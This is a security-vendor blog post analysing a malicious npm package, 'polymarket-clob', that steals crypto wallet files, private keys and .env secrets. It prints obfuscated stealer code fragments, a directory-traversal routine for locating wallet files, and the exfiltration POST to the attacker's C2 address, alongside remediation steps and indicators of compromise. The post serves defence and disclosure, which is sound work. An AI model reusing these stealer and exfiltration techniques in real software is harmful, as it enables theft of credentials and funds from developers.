Malicious NPM packages target Polymarket crypto ecosystem

Paul McCarty

10 mins

•

December 27, 2025

The Safety research team has identified a new NPM based threat campaign that is targeting cryptocurrency traders. This attack uses a new JavaScript malware, that's packaged as a singular payload. Attribution isn't possible at this point, but this campaign has some potential overlaps with another threat campaign that we are researching. More to come soon!

‍

The “polymarket-clob” package appears to be targeting crypto traders:

TL;DR

A malicious npm package polymarket-clob@1.3.1 is targeting cryptocurrency traders by masquerading as a legitimate Polymarket CLOB (Central Limit Order Book) library. Upon installation, the package silently exfiltrates wallet files, private keys, and environment secrets to an attacker-controlled server at 178.17.62.101:5018. If you've installed this package, rotate all credentials and transfer funds immediately.

The Bait: Targeting the Polymarket Ecosystem

Polymarket, the popular prediction market platform, has attracted significant attention in the cryptocurrency space recently. This makes its ecosystem a prime target for supply chain attacks like this one. The threat actor behind polymarket-clob is exploiting this increased visibility by publishing a typosquat package that pretends to be a legitimate CLOB trading library.

The package metadata is designed to appear credible:

{ "name": "polymarket-clob", "version": "1.3.1", "description": "MCP Server - Model Context Protocol server for api response", "author": { "name": "Daniel Flipperson", "url": "<https://github.com/wailsreil4>" } }

The description mentions "MCP Server" and "Model Context Protocol" - buzzwordy terms designed to appear legitimate while remaining vague enough to avoid scrutiny. Many of the NPM package metadata fields can be faked, and threat actors know this, so the GitHub profile and author name included in the metadata are fabricated.

The Threat Actor

The polymarket-clob package was published to NPM by the “monsondev” NPM user who used the email address lazarevajanna977[@]rambler[.]ru.

The use of the .ru domain makes one assume the the threat actor is Russian. Rambler[.]ru is a common Russian email domain. Rambler is similar to Yahoo in the US, and threat actors take advantage of its relative acceptance, even for a Russian domain suffix. But, even more interestingly to the Safety research team: Russian email addresses have been used by threat actors outside Russia to make it look like the originating author is Russian. Both Chinese and North Korean APT groups are known to use Russian infrastructure in their campaigns.

Threat actor gets sloppy

Regardless of the threat actors origin, they made some rookie mistakes when crafting this malicious package. First, the package is named “polymarket-clob”. Let’s try and break that down to understand it better:

Polymarket is a leading crypto prediction system, and is used by crypto traders.
The CLOB acronym means “central limit order book” which refers to a way to match buyers and sellers in a transaction.

So, clearly the threat actor is trying to target crypto traders. Why then do they re-use the source code from an older non-crypto malicious package named “sha256-validator-pro”?
You can clearly see in the README that they name of the package, does not match the code in the package.

If we go and check out the sha256-validator-pro package we see that it was removed from the NPM registry back in August, 2025:

Another mistake the threat actor made with the polymarket-clob package is that the description in the package.json file reads: “MCP Server - Model Context Protocol server for api response”.

So, is this pretending to be a Polymarket crypto package? Or a hash validator package? Or is it an MCP server for an API?

This kind of careless opsec and finesse is unlike most nation state actors, which initially led us to believe this threat campaign was a one off malicious campaign by an immature criminal group.

Attack Chain

Let’s see what the malware actually does! The attack follows a straightforward but effective pattern:

┌─────────────────────────────────────────────────────────────┐ │ 1. INSTALLATION │ │ npm install polymarket-clob │ │ # Victim believes they're installing a trading library │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ 2. IMPORT TRIGGERS PAYLOAD │ │ const clob = require('polymarket-clob'); │ │ // Any function call activates the stealer │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ 3. FILE HUNTING │ │ Searches for wallet files up to 5 parent directories │ │ Targets: .env, wallets.json, keys/*.json │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ 4. EXFILTRATION │ │ POST <http://178.17.62.101:5018/dev-sha-es6> │ │ Body: { "content": "<stolen_data>" } │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ 5. WALLET DRAIN │ │ Attacker uses stolen keys to drain crypto wallets │ └─────────────────────────────────────────────────────────────┘

Under the Hood: Technical Analysis

The polymarket-clob package does not use a pre or post install lifecycle script to execute the initial payload. The threat actor would obviously understand this, and therefore they would have crafted this attack around the fact that the library must be imported into a JavaScript application to deliver its malicious payload.

This is important to note as the malicious package must look and feel like a real library to convince a developer to import and run it in their project. Typically, this means that malicious libraries have to actually deliver the function they describe. So for example, if you want to get a developer to import your malicious crypto library, it needs to actually deliver the function they imported it for!

The easiest way to do that is to copy an existing working library, and then add your malicious component to it. We call these “look-a-like” or “copycat” libraries. They provide a function, but they also deliver a malicious payload secretly.

However, that’s now what happened here because of the sloppy naming and description fields. If a real developer downloaded this package thinking it was for Polymarket, but saw the conflicting package description and README and they’d probably never import the library.

Package Structure

The malware ships with a minimal footprint to avoid suspicion:

polymarket-clob@1.3.1/ ├── index.js # Main malware payload (heavily obfuscated) ├── utils.js # Exfiltration module (C2 communication) ├── index.d.ts # TypeScript definitions (decoy for legitimacy) ├── package.json # Package manifest └── README.md # Fake documentation

This “sparseness” is unusual as most technically skilled groups are now fluffing up their packages with filler code, or as mentioned above, hiding their malicious payload in an other wise functioning package.

The Payload: index.js

The main payload is obfuscated using multiple techniques. Let's break down what it's actually doing.

Obfuscated imports:

// What you see: const _0x1a2b = require(Buffer.from('ZnM=', 'base64').toString()); const _0x3c4d = require(Buffer.from('cGF0aA==', 'base64').toString()); const _0x2e4f = require(Buffer.from('Y3J5cHRv', 'base64').toString()); // What it actually means: const fs = require('fs'); const path = require('path'); const crypto = require('crypto');

All module names are Base64-encoded to evade static analysis and grep-based detection.

Target file list:

The malware hunts for specific files commonly found in cryptocurrency trading projects:

API keys
private keys
wallets.json
wallet_list.json
keys/distribute_wallets.json
keys/finalKps.json
keys/preFinalKps.txt

These targets reveal the attacker's knowledge of common cryptocurrency development patterns, particularly Solana-based projects.

Directory traversal attack:

One clever technique the malware employs is directory traversal to find wallet files even when installed deep within node_modules:

// The malware tries increasingly deep parent paths const parentDirPrefix = '../'; // Attempt 1: ./wallets.json // Attempt 2: ../wallets.json // Attempt 3: ../../wallets.json // Attempt 4: ../../../wallets.json // Attempt 5: ../../../../wallets.json // Attempt 6: ../../../../../wallets.json

This nested try-catch approach ensures the malware can locate wallet files regardless of where the package is installed in the project hierarchy.

Double Base64 encoding:

The parent directory prefix uses an interesting double-encoding technique:

// First decode: TGk0dg== → Li4v // Second decode: Li4v → ../ let _0xdq4r = Buffer.from('TGk0dg==', 'base64').toString(); Buffer.from(_0xdq4r, 'base64').toString() // Results in "../"

This extra layer of obfuscation makes pattern matching more difficult.

The Exfiltration Module: utils.js

The utils.js file handles communication with the C2 server:

Key observations:

Fetch compatibility: Works across Node.js versions
Silent failure: Errors are swallowed to avoid detection
Misleading export name: deepHashES6 suggests cryptographic functionality

Decoy Functions: Hiding in Plain Sight

Okay, so it turns out the malware includes legitimate-looking functions in the index.js file to appear benign during code review:

// Legitimate SHA-256 functionality that actually works static generateScripUtils(content, options = {}) { return crypto.createHash('sha256').update(content).digest('hex'); } static validateHashFormat(hash) { const sha256Regex = /^[a-fA-F0-9]{64}$/; return sha256Regex.test(hash); } static compareSha256(hash1, hash2) { return hash1.toLowerCase() === hash2.toLowerCase(); }

These functions work exactly as advertised, making the package appear to be a legitimate cryptographic utility. However, given the package name conflicting with the description and README, we suspect that this package did not have any real impact.

Researching the origins of this attack

Remember how this package used the source code from another malicious package, “sha256-validator-pro”? The Safety reserach team analyzed that package which was published in August 2025.

The similarities between sha256-validator-pro (August 2025) and polymarket-clob (December 2025) are strong. Both files have the same 5 files, and the files themselves are architecturally very similar as well. For example, the index.js files use the same obfuscated class and variable names. It's obvious to our team that polymarket-clob is based on sha256-validator-pro.

The sha256-validator-pro package was published by the NPM author "johndoe1090" who published 7 other packages in 2025:

While the author of the polymarket-clob package made some operational mistakes early on, their updated payload is better and harvests more credentials than its predecessor. Those earlier malicious package notably only looked for and exfiltrated .env files on the compromised hosts. The latest package, polymarket-clob, looks for .env files, but also looks for six additional files including wallet.json, wallet_list.json and similar files.

While searching for other packages that had some of the same characteristics as polymarket-clob, we identified older versions using the same payload: It turns out that the “sha256-validator-pro” package was based on an earlier package “sha256-validator-pack” which the Safety team has also analyzed.

Our team has analyzed all the packages involved and while we can't say that the same threat actor published all of these packages, we can absolutely say that polymarket-clob was based on sha256-validator-pro which in turn was based on sha256-validateor-pack.

sha256-validator-package --> sha256-validator-pro --> polymarket-clob

Remediation

If You've Installed This Package

Immediately remove the package:
npm uninstall polymarket-clob
Rotate ALL credentials in your .env files
- API keys
- Private keys
- Database credentials
- Any secrets
Transfer cryptocurrency from potentially compromised wallets to new wallets with freshly generated keys
Revoke API access for any services that may have been exposed
Check network logs for connections to 178.17.62.101
Scan your source code for malicious packages:
safety scan

Prevention

Install Safety Firewall
Verify package authenticity before installation
- Check download counts
- Verify publisher identity
- Look for typosquats
Use lockfiles (package-lock.json) and verify integrity
Implement least-privilege - don't run npm install as root
Store secrets securely - use vault solutions, not .env files in project directories
Enable network monitoring to detect suspicious outbound connections

Indicators of Compromise (IOCs)

Based on our research this threat campaign has several IOCs you can look for:

NPM Packages - all versions:

polymarket-clob

IP Addresses:

178.17[.]62[.]101

C2 address:

hxxp://178.17[.]62[.]101:5018/dev-sha-es6

Files:

25e878d355b2d7ee991b39aff7d09fffd07f9425c75205cee190bf3c422502b9  ./README.md
dbca2e950544256b3ce73051752e0d7021b9777df45a8fcfbe5cc0a88ede4a5f  ./index.d.ts
5d3be668ad8b7944e967b183a2850ce5a3a98245c9859708bde85e1eda1f92a2  ./index.js
bf05b20767a3094fecfaf59a0862e674d4da658329f1af7b5cfa594d91ae6224  ./package.json
4598fb3406bba9ea96a33a746f709a231b99cecaf04569f54d2068564a28fd2b  ./utils.js

How can Safety help protect you from these attacks?

Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.

But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.

You can sign up for a free Safety account and try the Safety Firewall HERE.

Feel free to reach out to me with any questions!

Let us know if this blog post helped you

I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

‍

‍Paul McCarty - Head of Research, Safety

You can find me on LinkedIn and BlueSky.

‍